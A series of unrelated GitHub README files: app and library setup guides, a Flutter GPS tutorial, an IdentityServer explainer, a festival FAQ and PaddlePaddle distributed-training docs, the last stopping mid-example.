* [Installer on Pastebin](https://pastebin.com/pc73b8bB)

gha_language: Lua


text:
# Grace Application

So what is this about?  You can upload image from your gallery,
or take photo of a meal and let his Grace bless it. His Grace using [clarifai](https://www.clarifai.com/) check if the meal you've provided is one of meal or not and if it is
he does his magic.

For more visit the [offical page](https://blessameal.com/).
Needles to say - it's a joke.

# Here are the screenshots
1. Upload photo

2. Let his Grace inspect the photo

3. If it's photo of a meal - let his Grace know if you want the meal to be blessed

4. Share the blessed meal with your firends

# Download the app to please the Gods
You can download and test the app by clicking [here](https://github.com/ViksaaSkool/Grace/raw/master/apk/app-release.apk).

License
--------

    The MIT License (MIT)

    Copyright (c) 2018 Viktor Arsovski

    Permission is hereby granted, free of charge, to any person obtaining a copy
    of this software and associated documentation files (the "Software"), to deal
    in the Software without restriction, including without limitation the rights
    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
    copies of the Software, and to permit persons to whom the Software is
    furnished to do so, subject to the following conditions:

    The above copyright notice and this permission notice shall be included in
    all copies or substantial portions of the Software.

     IN NO EVENT SHALL THE
    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
    THE SOFTWARE.

# Developed By
Viktor Arsovski

repository: ViksaaSkool/Grace

repo_name: ViksaaSkool/Grace


text:
# HSBC_optimizers_package
Python package for stochastic optimizers for gradient convergence with activation functions.The package 'Abhilash1_optimizers' library contains:
## For algorithmic library
### 1.Initialize function-
Function Prototype
def initialize(data,max_itr):
Takes and input tuple,maximum iterations(int).For calling initiliaze function and running the algorithm the user has to first import the desired library- import Abhilash1_optimizers.*libraryname* . Example-import Abhilash1_optimizers.ADAM .Post inclusion the initialize can be called as- Abhilash1_optimizers.ADAM.initialize(data,max_itr) .Returns void as it calls ADAM_optimizer (function) and prints the final vector(list)

### 2.__init__ function-
Function Prototype
def __init__(alpha,b_1,b_2,epsilon,noise_g)
This function only returns hyperparameters which are input through the *hyperparameter* library .Example-return hyperparameters.hyperparameter.initialise(alpha,b_1,b_2,epsilon,noise_g).This class can be imported as Abhilash1_optimizers.hyperparameters. alpha is gradient learning rate,b_1,b_2 are first and second moments epsilon is decay rate and noise_g is a noise in eponential noise sample. Calling this function after importing
import Abhilash1_optimizer.SGD as sgd
sgd.__init__(*parameters*)  Returns hyperaparameters-5 learning rate,moment grad b_1,b_2,decay rate epsilon and noise. (floats)

### 3.init function-
Function Prototype
def init(m_t,v_t,t,theta):
This function is onlu used for initiliazation of certain parameters such as number of turns,first moment,second moment and loss function
It is initiliazed by the Moment_Initializer class -which can be imported as Abhilash1_optimizers.Moment_Initalizer.Usage is -return Moment_Initializer.Moment_Initializer.initialize(m_t,v_t,t,theta).Returns 4 obejcts-fist moment,second moment,turns,loss function (floats)

### 4. library_optimizer-
Example- ADAM_optimizer:
Function prototype-
def Adam_optimizer(data,len_data,max_itr,alpha,b_1,b_2,epsilon,noise_g,act_func,scale):
Takes input parameters as data(list),length of data(int),learning rate(alpha(float)),moments(b_1,b_2)(floats),noise(float),decay rate(epsilon)(float),acivation function(act_func)(string),scale(float for SELU activation function). Returns final weight vector(list).
Calling this function-
import Abhilash1_optimizers.NADAM as nadam
final_weight=nadam.NADAM.Nadam_optimizer(data,len_data,max_itr,alpha,b_1,b_2,epsilon,noise_g,act_func,scale)

## External library classes
### 1.Activation Functions:
Contains implementation of softSign,softPlus,tanh,linear,exponential,relu,elu,selu,hard_sigmoid,sigmoid
Calling it in an algorithm-
import Abhilash1_optimizers.Activation as activation
import Abhilash1_optimizers.RMSprop as rms
result=rms.activation.Activation.sigmoid(x)
Where x is an input value(float) and result is the sigmoid operator acting on the float value.
Returns 1 float value.

### 2.hyperparameter-
Used for setting up hyperparameters.
def initialise(alpha,first_moment,second_moment,epsilon,noise_g):
        return alpha,first_moment,second_moment,epsilon,noise_g
Calling it in an algorithm-
import Abhilash1_optimizers.hyperparameter as hyp
import Abhilash1_optimizers.ADAM as adam
alpha,b_1,b_2,epsilon,noise_g=adam.hyp.hyperparameter.initialise(alpha,first_moment,second_moment,epsilon,noise_g)
Return 4 floats

### 3.Moment_Initializer
Used for setting up moments.
 def initialize(momentum_1,momentum_2,turns,theta):
        return momentum_1,momentum_2,turns,theta
Calling it in an algorithm-
import Abhilash1_optimizers.Moment_Initializer as moment
import Abhilash1_optimizers.ADAM as adam
momentum_1,momentum_2,turns,theta=moment.hyp.hyperparameter.initialise(momentum_1,momentum_2,turns,theta)

## Algorithms
## 1.SGD
Stochastic Gradient Descent -Modification of Robins Monro Algorithm(https://projecteuclid.org/euclid.aoms/1177729586)
While accessing SGD in scripts,it is required to - import Abhilash1_optimizers.SGD library.
## 2.Classical Momentum-
https://arxiv.org/abs/1910.03197  Adding momentum operator with the SGD to have a better optimization function
While accessing ClassicMomentum in scripts,it is required to - import Abhilash1_optimizers.ClassicMomentum library
Polyak 1964-https://www.researchgate.net/publication/243648538_Some_methods_of_speeding_up_the_convergence_of_iteration_methods
## 3.Adagrad-
Duchi etal(2011)http://jmlr.org/papers/v12/duchi11a.html
While accessing Adagrad in scripts,it is required to - import Abhilash1_optimizers.Adagrad library
## 4.ADAM-
Kingma, Ba(2014)-https://arxiv.org/abs/1412.6980
While accessing ADAM in scripts,it is required to - import Abhilash1_optimizers.ADAM_optimizer library
A Variation of ADAM using approximation of moments - import Abhilas1_optimizers.ADAM_modified_update library
### 5.Adamax-
Kingma,Ba(2014)-https://arxiv.org/abs/1412.6980
While accessing Adamax in scripts,it is required to - import Abhilash1_optimizers.Adamax library
### 6.RMSProp-
Hinton et al (2012)-http://www.cs.toronto.edu/~tijmen/csc321/slides/lecture_slides_lec6.pdf
While accessing RMSprop in scripts,it is required to - import Abhilash1_optimizers.RMSprop library
### 7.NADAM-
Dozat(2015)-http://cs229.stanford.edu/proj2015/054_report.pdf
While accessing NADAM in scripts,it is required to - import Abhilash1_optimizers.Nadam library

## Activation Functions
For any activation function-
import Abhilash1_optimizers.Activation as activation
float output result= activation.Activation.*activation-name*(float input) where *activation-name*= relu,selu,elu ..etc
### 1.Relu-https://www.tensorflow.org/api_docs/python/tf/keras/activations/relu?version=stable
### 2.Elu-https://www.tensorflow.org/api_docs/python/tf/keras/activations/elu?version=stable
### 3.Selu-https://www.tensorflow.org/api_docs/python/tf/keras/activations/selu?version=stable
### 4.SoftPlus-https://www.tensorflow.org/api_docs/python/tf/keras/activations/softplus?version=stable
### 5.SoftSign-https://www.tensorflow.org/api_docs/python/tf/keras/activations/softsign?version=stable
### 6.Linear-https://www.tensorflow.org/api_docs/python/tf/keras/activations/linear?version=stable
### 7.Exponential-https://www.tensorflow.org/api_docs/python/tf/keras/activations/exponential?version=stable
### 8.Hard_sigmoid-https://www.tensorflow.org/api_docs/python/tf/keras/activations/hard_sigmoid?version=stable
### 9.Sigmoid-https://www.tensorflow.org/api_docs/python/tf/keras/activations/sigmoid?version=stable

## Sample Test Template
The Test.py script contains the necessary sample test template code.It contains the description of usage of the library functions and general callback mechanisms.The project is hosted in PyPi and can be installed by
### pip install Abhilash1_optimizers
It requires numpy and pandas libraries.The project is under MIT license and is made opensource to add more activation functions and optimizer algorithms.


text:
# Sinatra Assessment

## Setup

1. Fork and clone this repository X
1. Create a new Pivotal Tracker project in the gSchool account. Add instructors as owners. X
1. `bundle install`  X
1. `cp config/database.yml.example config/database.yml`  X
1. `rake db:create` to create your test and development databases  X
1. Complete each story in Tracker

## Migrations

Create a new migration with this command:

    rake db:create_migration

Run the migrations in the development database using:

    rake db:migrate

Run the migrations in the testing database using

    RACK_ENV=test rake db:migrate

## Getting the app running locally

    rerun rackup

The app will be available at http://localhost:9292/

## Running specs

To run specs, run:

    rspec

The tests will clean up the database before each test run.


text:
![](imgs/00.gif)

# FieldGuide

Given a Valhalla route request construct a PDF using [Paparazzi's static maps](https://github.com/tangrams/paparazzi) ready to be send to a PaperWhite Kindle through their own [email-to-kindle service](https://www.amazon.com/gp/sendtokindle/email)

## Installation

### Install Paparazzi

You need to install [Tangram Paparazzi](https://github.com/tangrams/paparazzi) server in an [Amazon G2 GPU server](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using_cluster_computing.html). Paparazzi is a headless version of [Tangram-es](https://github.com/tangrams/tangram-es), to make static maps on the cloud. In that repository you kind find more details about the installation.

### Install FieldGuide

Clone the repository and run the install script:

```bash
git clone https://github.com/tangrams/fieldguide.git
cd fieldguide
./fieldguide.sh install
```

Run FieldPapers pointing to the Paparazzi on `http://localhost:8080`:

```bash
./fieldguide.sh start
```

Or run FieldPapers pointing to a specific Paparazzi server:

```bash
./fieldguide.sh start http://paparazzi.server.somewhere.in.the.cloud:8080/
```

## Thanks to

- [Hanbyul](https://twitter.com/hanbyul_here) is responsable for the awesome interactive website that puts together [Tangram](https://mapzen.com/products/tangram/) + [Mapzen Search](https://mapzen.com/products/search/?lng=-73.98073&lat=40.72606&zoom=12) + [Mapzen Turn-by-Turn](https://mapzen.com/products/turn-by-turn/?d=0&lat=40.7259&lng=-73.9805&z=12&c=multimodal&st_lat=37.839682&st_lng=-122.485284&st=Vista%20Point&end_lat=37.80927&end_lng=-122.25981&end=Fairyland&use_bus=0.5&use_rail=0.6&use_transfers=0.4&dt=2016-09-20T08%3A00&dt_type=1) in a single [map here](https://github.com/mapzen/lrm-mapzen)

- [Geraldine Sarmiento](https://twitter.com/sensescape) is responsable for the beatiful and minimalistic [Refill Style for tangram maps](https://github.com/tangrams/refill-style)

- [Matt Blair](https://twitter.com/matteblair), [Varun Talwar](https://twitter.com/tallytalwar), [Karim Naaji](https://twitter.com/karimnaaji) and [Hannes Janetzek](https://twitter.com/hjanetzek) are responsable for [Tangram-es](https://github.com/tangrams/tangram-es) which esentially [Tangram Paparazzi](https://github.com/tangrams/paparazzi) is based on.

repository: tangrams/fieldguide

repo_name: tangrams/fieldguide


text:
# SSHBro

Replaces a fella's SSH Config (~/.ssh/config) with some stuff from a Google doc.

This gives you handy bookmarks for all them servers and tab-completion if you're using a decent shell.

## Installation

Like this:

    $ gem install ssh_bro

Ruby 1.9.3+ blah blah.

## Usage

Run it:

    $ sshbro

It will prompt you for things. To update your SSH config file:

    $ sshbro > ~/.ssh/config

## TODO:

- Allow config file templates.
- Allow per-host templates.


text:
A clone of feed screen of Instagram mobile app using React Native Animated API to optimize the loading.
Initialized using [Basic Rocketseat Template](https://github.com/Rocketseat/react-native-template-rocketseat-basic).

## How can I run it?

Clone the project.
In the project directory, you can run:

### `npm install`

or

### `yarn install`

run to start the static API:

### `yarn json-server server.json -d 1000 -w`

if you are running on android device, is probable that's it does not recognize the localhost:3000, so run the following command to make the connection:

### `adb reverse tcp:3000 tcp:3000`

and then, to run the app:

### `react-native run-(android/ios)`

or

### `yarn (android/ios)`

Than you will get this:

![](src/assets/app.gif)

repository: NuadaEP/Instagram

repo_name: NuadaEP/Instagram


text:
+++
title = "Adding GPS Dependancies"
date = 2020-04-15T14:32:10+01:00
weight = 41
chapter = true
pre = "<b> </b>"
+++

## Implementation

### Accessing GPS Coordinates

#### Add GPS location dependencies to Flutter
The first step is to add GPS location dependencies as well as configure Android permissions needed for an end user to share a mobile device location.

Add a GPS location library to your ```pubspec.yaml``` file and run ```flutter pub get``` within ```terminal``` (if it doesn't automatically run when saving the file):

``` dart
... // dependencies: (line 23)

geolocator: ^6.2.1

... // pubspec.yaml
```

Add the following permission to your Android Manifest file, located in ```<project root>/android/app/src/main/AndroidManifest.xml```:

``` java
... // <manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.workshop_app">
... // (line 3)

<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />

... // <application android:label=...
```

If you are using an Android Emulator please set up a fake location for this lab:

![Android Emulator screen](/images/android-location-set-1.png)

1.  Open the Android Emulator and navigate to the settings screen

![Android Emulator settings](/images/android-location-set-2.png)

2. Within the location tab, type a location into the search and click save point. This will be where the emulator thinks that it is located when the app asks for a GPS location

branch_name: refs/heads/main


text:
---
summary: this is where you put the summary
published: true
tags: identityserver
---
I have read the documents and I know I am a bit thick, but the documents make me feel even thicker.

They seem neither complete or clear and further diving into the subject provides a lot of misinformation and obfuscation.

And I can tell you now.  Im not going to be able to change this, but I will attempt to bring you up to my level of understanding.

### What is IdentityServer?
IdentityServer is an OpenConnectID and OAuth 2.0 framework that "enables" developers to build an authority delegation service.

It is indeed capable of a lot more things but we should start here.

### Why does it exist?
It exists to produce a security system that enables *authentication* (the identification of users) and *authorisation* (the permissions of users) using internet standards and best practices that protect user data with out having to understand and implement all the RFC's out there covering these topics.

Identity Providers (*IDP*) like Google, Microsoft and Apple store identification data and "claims" about a user.  Claims can be anything that the IDP *claims* is true about the user such as name, date of birth, subscription level, favourite colour etc.

IdentityServer allows developers to interact with IDP's be them third party or custom built ones.

Using standards and best practices, IdentityServer can orchestrate a means to identify a user and retrieve claims about the user backed by an IDP.  This information is used to access resources in applications.

There are two types of resources:

* *Identity Resources*
 - Personal Identifiable Information (PII) like Name, DOB, Address
* *API Resources*
 - Read Access to accounts
 - Write Access to Google Drive

Applications can request a user to identify themselves and grant consent to using protected resources on the users behalf without ever handling the authentication request.  This is all done with requests, redirects endpoints and tokens

One thing to note is that this all started with OAuth 2.0 which - unsurprisingly - improved upon OAuth 1.0.  But now there is OpenID Connect which again improves but also extends on OAuth 2.0 and is considered the latest and greatest in internet authentication and authorisation.

### Summary
Of course, this is an over simplification of IdentityServer and what it can do but I hope of the next few posts I can explain how it works and how to implement it.


text:
Pyserini is a Python toolkit designed to support reproducible information retrieval research.
It provides sparse retrieval (e.g., BM25 ranking using bag-of-words representations), dense retrieval (e.g., nearest-neighbor search on transformer-encoded representations), as well hybrid retrieval that integrates both approaches.

## Installation

Install via PyPI:

```
pip install pyserini
```

Pyserini requires Python 3.6+ and Java 11 (due to its dependency on [Anserini](http://anserini.io/)).

## Usage

The `SimpleSearcher` class provides the entry point for sparse retrieval using bag-of-words representations.
Anserini supports a number of pre-built indexes for common collections that it'll automatically download for you and store in `~/.cache/pyserini/indexes/`.
Here's how to use a pre-built index for the [MS MARCO passage ranking task](http://www.msmarco.org/) and issue a query interactively (using BM25 ranking):

```python
from pyserini.search import SimpleSearcher

searcher = SimpleSearcher.from_prebuilt_index('msmarco-passage')
hits = searcher.search('what is a lobster roll?')

for i in range(0, 10):
    print(f'{i+1:2} {hits[i].docid:7} {hits[i].score:.5f}')
```

The results should be as follows:

```
 1 7157707 11.00830
 2 6034357 10.94310
 3 5837606 10.81740
 4 7157715 10.59820
 5 6034350 10.48360
 6 2900045 10.31190
 7 7157713 10.12300
 8 1584344 10.05290
 9 533614  9.96350
10 6234461 9.92200
```

For information on dense and hybrid retrieval, as well as complete documentation, please refer to the [Pyserini repository](https://github.com/castorini/pyserini/).

repository: printfCalvin/pyserini

repo_name: printfCalvin/pyserini


text:
---
templateKey: about-page
title: Frequently Asked Questions
subtitle: Important information at a glance
heroData:
  heroImages: []
  isActive: true
strawberryTiles:
  - strawberryTile:
      isPublic: false
    tile: Strawberry Tile
---
## When and Where is it?

Strawberry Fair will take place on Midsummer Common in Cambridge on Saturday 3rd of June.

## How much does it cost?

Absolutely nothing! It is our strong belief that all music and entertainment should be provided free of charge to the general public. We fund raise throughout the year to do so and your donations really do make a difference.

## Timings for the Day

* 10.30 - Meet on Christ's Pieces for the Parade
* 11:00 - Parade sets off from Christ's Pieces and sets off around Cambridge.
* 12:00 - Parade arrives at Midsummer Common marking the official opening of the Fair.
* 12:00 - Stages, bars and area entertainment begins.
* 18:00 - Kid's Area closes.
* 22:00-22:30 - Stages and area entertainment closes. Head to the Rebel Love Stage.
* 22:30 - Stall holders and bars close.
* 22:30 - Closing Finale at Rebel Love Stage.
* 23:00 - Event closes.

## Is there a theme?

Yes! This year the theme is “REVOLUTION”.

## What is/isn't allowed on site?

**Alcohol**

Our licensing conditions prevent you bringing excessive quantities of alcohol (maximum 4 cans of beer, cider, ready to drink cocktails, or 75cl of wine), neat spirits or glass bottles onto site. Random searches will take place. We follow the Challenge 21 policy and are also part of Cambridge Pub Watch.

**BBQ's**

No fires or fire toys are permitted on site, including BBQ's.

**Dogs**

Please keep dogs on a lead whilst inside Strawberry Fair and clear up any mess they make.

**Food**

You are welcome to bring your own food onto the site.

**Drones**

No video / photo drones are permitted anywhere on site.

## Can I help you on the day?

Absolutely. Check any of the Get Involved links on this page, or see our section on volunteering with the fair. Every year, a number people volunteer to help with the clean up following the event. If you'd like more information, just ask any of our stewards.

## How do I get into Strawberry Fair?

There are four pedestrian entrances to the Fair. From Maid's Causeway, Victoria Avenue Bridge, Jesus Green and Walnut Tree Avenue. We suggest you arrive at the Common on foot, by cycle or via public transport. Please do not leave your bicycle secured to the perimeter fence.

## Road/Bridge Closures

The Fort St George bridge will be open to pedestrians and cyclists from 11am for the duration of the event.

## Parking

No parking is available on site. Please visit https://www.cambridge.gov.uk/parking for more information on local car parks or http://www.cambridgeshire.gov.uk/transport/around/park-ride/ for more information on Park and Ride.

## Public Transport

Cambridge has a good network of bus and rail routes into and around the city. Alternatively, ask your taxi driver for Midsummer Common.

If you are driving to the city, we strongly recommend using the Park and Ride system. The best option is to use Milton Park and Ride to the North of the city as buses will be running until 11pm (via the Citi 2 service). Alternatively Trumpington Park and Ride to the West of the city has the most spaces available, though best suited for families as buses are only running until 8:30pm.

[Park and Ride timetable ](https://tiscon-maps-stagecoachbus.s3.amazonaws.com/Timetables/East/CAMBRIDGE/EVENTS/Strawberry%20Fair%20booklet.pdf)

Please note there will be Train Strikes on Friday 2nd and Saturday 3rd June so you will need to find alternative transport if you are intending to come by train.

## Accommodation/Camping

No camping is permitted on site or in the immediate vicinity of the fair. The Visit Cambridge website http://www.visitcambridge.org/accommodation has information on local accommodation and hotels.

## Lost Property

Lost property is held in our Production Office. Please contact a member of our stewarding team for directions. After the event, please use the contact us form and describe what you've lost with as much detail as possible. If we have it, we'll let you know.

## In an Emergency

Please contact a steward in the event assistance is required. Stewards roam the site and are available at each entertainment area. Medical provision is based near the Information Tent at Maid's Causeway Entrance. Our onsite Security team and Medical teams also patrol around the site.

repository: Softwire/strawberry-fair

gha_language: JavaScript

repo_name: Softwire/strawberry-fair


text:
# Pinster - Share your Images

The Internet is full of images to share and comment on with your friends,
Pinster lets you show off the ones you like and see the ones other people
like.

This application is built using *React (18.x)*, *react-redux*, *react-router*
and *Material-UI / emotion* on the client. The server uses *Nodejs (16.x)*,
*Express* and *Passport*. The database is *MongoDB (5.x)*.

## Live instance

The application can be used at https://pinster-jm.herokuapp.com

## Development setup

Clone the *Github* repo, then install the dependencies.

```
git clone https://github.com/fcc-joemcintyre/pinster.git
cd pinster
npm i
```

The database supported is *MongoDB*. This can be a local or hosted instance (you
can also choose to use a local instance for dev/test and a hosted instance for
deployment). The database name for the application is *pinster*. The database
name used by the test runner is *pinsterTest*.

### Build (Development)

There are two build processes for development, one for the server and one for
the client.

In one terminal,

```
npm run dev:server
```

In a second terminal,

```
npm run dev:client
```

These development builds are continuous build - they will set up watches
and rerun build elements as file changes are saved.

### Build (Production)

There is one build command that runs both server and client production builds.

In a terminal,

```
npm run build
```

This production build is a single step process, it is not continuous build.

## Testing

Run unit tests using,

```
npm test
```

Run automated API tests using,

```
npm run postman:run
```

To use Postman client interactively, start the API test server using,

```
npm run postman:server
```

### Server

In a terminal, continuous server operation, updating on changes,
can be activated with

```
npm start
```

The *nodemon* utility provides restart on update.

### Client

After starting a server instance, open a browser and then access the
application at http://localhost:3000

## Deployment

The build process creates the *dist* directory containing all the deployment
files.

The entry point for the server is *main.js*.
The port number for the server can be passed on the command (-p/--port) or using
the PORT environment variable. For hosted environments, the PORT environment
variable provided by the hosting service is used.

The application also uses the following environment variables,

- SESSION_SECRET

HTTP Session secret (any text string).

## License
MIT

repository: fcc-joemcintyre/pinster

gha_language: TypeScript

repo_name: fcc-joemcintyre/pinster


text:
# Duolingo Tree Enhancer

User script for a better experience when using Duolingo.

### What does it do?

The following options are available:

1. Keep per-tree settings for listening/speaking exercises.
2. Make all the exercises listening exercises (hide the question).
3. Read answers aloud.
4. Hide clues (i.e. pictures).
4. Make Duo better for reverse trees.

### Where does it work?

It works in Duolingo's website for desktop. It has been tested with Firefox and Chrome.
It has been also tested on Android with Firefox+Violentmonkey using the "request desktop version" option.

### Installation

1. If haven't already, install the appropriate extension for your browser (restarting your browser afterwards if necessary):
 * Firefox 57, Chrome, Opera and others : [Violentmonkey](https://violentmonkey.github.io/get-it/)
 * Chrome, Chromium: [Tampermonkey](https://chrome.google.com/webstore/detail/tampermonkey/dhdgffkkebhmkfjojejmpbldmpobfkfo?hl=en)
 * Firefox: [Greasemonkey](https://addons.mozilla.org/en-US/firefox/addon/greasemonkey/)
 * Safari: [JavaScript Blocker](http://javascript-blocker.toggleable.com/)
2. Click [**here to install the userscript**](https://github.com/camiloaa/duolingotreeenhancer/raw/master/DuolingoTreeEnhancer.user.js).
3. Confirm the installation when prompted.

### Keyboard shortcuts

1. Ctrl+Alt+K Play audio.
2. Ctrl+Allt+H Show hidden text and pictures.

### DuolingoTreeEnhancer stopped working, HELP!

Duolingo is constantly making small changes and tweaks in the website. When it happens there are two options:

1. If you are a developer and can fix the problem yourself, please submit a patch.
2. Otherwise, be patient. I'll work on it as soon as possible.

### Contributors

The main developper is me, @camiloaa.
Original code by [@guillaumebrunerie](https://github.com/guillaumebrunerie/reversetreeenhancer).
Web Speech support by [@eshloraque](https://github.com/eshloraque/).
Class detection by [@eva-neduchalova](https://github.com/eva-neduchalova).
Bug fixes by @Markussss, @AbsolutelyFreeWeb and @ellemcfarlane.

repository: camiloaa/duolingotreeenhancer

repo_name: camiloaa/duolingotreeenhancer


text:
# Command-line arguments

We'll take `doc/howto/cluster/src/word2vec` as an example to introduce distributed training using PaddlePaddle v2 API.

## Starting parameter server

Type the below command to start a parameter server which will wait for trainers to connect:

```bash
$ paddle pserver --port=7164 --ports_num=1 --ports_num_for_sparse=1 --num_gradient_servers=1 --nics=eth0
```

If you wish to run parameter servers in background, and save a log file, you can type:

```bash
$ stdbuf -oL /usr/bin/nohup paddle pserver --port=7164 --ports_num=1 --ports_num_for_sparse=1 --num_gradient_servers=1 --nics=eth0 &> pserver.log &
```

Parameter Description

- port: **required, default 7164**, port which parameter server will listen on. If ports_num greater than 1, parameter server will listen on multiple ports for more network throughput.
- ports_num: **required, default 1**, total number of ports will listen on.
- ports_num_for_sparse: **required, default 0**, number of ports which serves sparse parameter update.
- num_gradient_servers: **required, default 1**, total number of gradient servers.
- nics: **optional, default xgbe0,xgbe1**, network device name which paramter server will listen on.

## Starting trainer

Type the command below to start the trainer(name the file whatever you want, like "train.py")

```bash
$ python train.py
```

Trainers' network need to be connected with parameter servers' network to finish the job. Trainers need to know port and IPs to locate parameter servers. You can pass arguments to trainers through [environment variables](https://en.wikipedia.org/wiki/Environment_variable) or pass to `paddle.init()` function. Arguments passed to the `paddle.init()` function will overwrite environment variables.

Use environment viriables:

```bash
export PADDLE_INIT_USE_GPU=False
export PADDLE_INIT_TRAINER_COUNT=1
export PADDLE_INIT_PORT=7164
export PADDLE_INIT_PORTS_NUM=1
export PADDLE_INIT_PORTS_NUM_FOR_SPARSE=1
export PADDLE_INIT_NUM_GRADIENT_SERVERS=1
export PADDLE_INIT_TRAINER_ID=0
export PADDLE_INIT_PSERVERS=<IP_ADDRESS>
python train.py
```

Pass arguments:

```python
paddle.init(
        use_gpu=False,
        trainer_count=1,
        port=7164,
        ports_num=1,
        ports_num_for_sparse=1,
        num_gradient_servers=1,
        trainer_id=0,
        pservers="<IP_ADDRESS>")
```

Parameter Description

- use_gpu: **optional, default False**, set to "True" to enable GPU training.
- trainer_count: **required, default 1**, number of threads in current trainer.
- port: **required, default 7164**, port to connect to parameter server.
- ports_num: **required, default 1**, number of ports for communication.
- ports_num_for_sparse: **required, default 0**, number of ports for sparse type caculation.
- num_gradient_servers: **required, default 1**, number of trainers in current job.
- trainer_id: **required, default 0**, ID for every trainer, start from 0.
- pservers: **required, default <IP_ADDRESS>**, list of IPs of parameter servers, separated by ",".

```python
trainer = paddle.trainer.SGD(..., is_local=False)
```

Parameter Description

- is_local: **required, default True**, whether update parameters by PServer.

## Prepare Training Dataset

Here's some example code [prepare.py](https://github.com/PaddlePaddle/Paddle/tree/develop/doc/howto/usage/cluster/src/word2vec/prepare.py), it will download public `imikolov` dataset and split it into multiple files according to job parallelism(trainers count). Modify `SPLIT_COUNT` at the begining of `prepare.py` to change the count of output files.

In the real world, we often use `MapReduce` job's output as training data, so there will be lots of files. You can use `mod` to assign training file to trainers:

```python
import os
train_list = []
flist = os.listdir("/train_data/")
for f in flist:
  suffix = int(f.split("-")[1])
  if suffix % TRAINER_COUNT == TRAINER_ID:
    train_list.append(f)
```

Example code `prepare.py` will split training data and testing data into 3 files with digital suffix like `-00000`, `-00001` and`-00002`:

```bash
train.txt
train.txt-00000
train.txt-00001
train.txt-00002
test.txt
test.txt-00000
test.txt-00001
test.txt-00002
```

When job started, every trainer needs to get it's own part of data. In some distributed systems a storage service will be provided, so the date under that path can be accessed by all the trainer nodes. Without the storage service, you must copy the training data to each trainer node.

Different training jobs may have different data format and `reader()` function, developers may need to write different data prepare scripts and `reader()` functions for their job.

## Prepare Training program

We'll create a *workspace* directory on each node, storing your training program, dependencies, mounted or downloaded dataset directory.

Your workspace may looks like:

```bash
.
|-- my_lib.py
|-- word_dict.pickle
|-- train.py
|-- train_data_dir/
|   |-- train.txt-00000
|   |-- train.txt-00001
|   |-- train.txt-00002
`-- test_data_dir/
    |-- test.txt-00000
    |-- test.txt-00001
    `-- test.txt-00002
```

- `my_lib.py`: user defined libraries, like PIL libs. This is optional.
- `word_dict.pickle`: dict file for training word embeding.
- `train.py`: training program. Sample code: [api_train_v2_cluster.py](https://github.com/PaddlePaddle/Paddle/tree/develop/doc/howto/usage/cluster/src/word2vec/api_train_v2_cluster.py). ***NOTE:*** You may need to modify the head part of `train.py` when using different cluster platform to retrive configuration environment variables:

  ```python
  cluster_train_file = "./train_data_dir/train/train.txt"
  cluster_test_file = "./test_data_dir/test/test.txt"
  node_id = os.getenv("OMPI_COMM_WORLD_RANK")
  if not node_id:
      raise EnvironmentError("must provied OMPI_COMM_WORLD_RANK")
  ```

- `train_data_dir`: containing training data. Mount from storage service or copy trainning data to here.
- `test_data_dir`: containing testing data.

## Async SGD Update

We can set some parameters of the optimizer to make it support async SGD update.
For example, we can set the `is_async` and `async_lagged_grad_discard_ratio` of the `AdaGrad` optimizer:

```python
adagrad = paddle.optimizer.AdaGrad(
    is_async=True,
    async_lagged_grad_discard_ratio=1.6,
    learning_rate=3e-3,
    regularization=paddle.optimizer.L2Regularization(8e-4))
```

- `is_async`: Is Async-SGD or not.
- `async_lagged_grad_discard_ratio`: For async SGD gradient commit control.
  when `async_lagged_grad_discard_ratio * num_gradient_servers` commit passed,
  current async gradient will be discard silently.

repository: wanghaoshuang/Paddle

branch_name: refs/heads/slim

repo_name: wanghaoshuang/Paddle


text:
## Base function examples

Examples of base functions are provided here.

Each one will read the request from the watchdog then print it back resulting in an HTTP 200.

| Language               | Docker image                            | Notes                                  |
|------------------------|-----------------------------------------|----------------------------------------|
| Node.js                | functions/base:node-6.9.1-alpine        | Node.js built on Alpine Linux          |
| Coffeescript           | functions/base:node-6.9.1-alpine        | Coffeescript/Nodejs built on Alpine Linux |
| Golang                 | functions/base:golang-1.7.5-alpine      | Golang compiled on Alpine Linux        |
| Python                 | functions/base:python-2.7-alpine        | Python 2.7 built on Alpine Linux       |
| Java                   | functions/base:openjdk-8u121-jdk-alpine | OpenJDK built on Alpine Linux |
| Dotnet Core            | functions/base:dotnet-sdk               | Microsoft dotnet core SDK |
| Busybox / shell        | functions/alpine:latest            | Busybox contains useful binaries which can be turned into a FaaS function such as `sha512sum` or `cat` |
| R                      | functions/base:R-3.4.1-alpine           | R lang ready on Alpine Linux           |

repository: MartinHeinz/faas

repo_name: MartinHeinz/faas


text:
# tiny-string
Compress a string down to a smaller length using this library. Use training data to improve the performance depending on the type of data you want to compress.

## Dictionary slot length
When generating a dictionary, you can specify the slot length as the second parameter, eg:
```typescript
let dict = generateDictionary(trainingData, 5) // slot length of 5
```
Note: The larger the slot length, the more computationally expensive it will be for generating a dictionary. If you choose a slot size larger than 6, it is recommended that you cache the dictionary for re-use.

## Dictionary size
You can adjust the dictionary size of this algorithm using the 3rd parameter. Default has been increased from 128 to 896. The first 128 ASCII characters are reserved for the standard character set. String length can be reduced 40-65% with compression. True compression size (total byte size of string) will be much less (even the well known Smaz algorithm fails to note this).

Example:
```typescript
let dict = generateDictionary(trainingData, 6, 2048) // slot length of 6 with 2048 entries and encoding range of 128-2176 (2048+128)
```

## Sample usage
```typescript
const jsonTrainingData: string = `
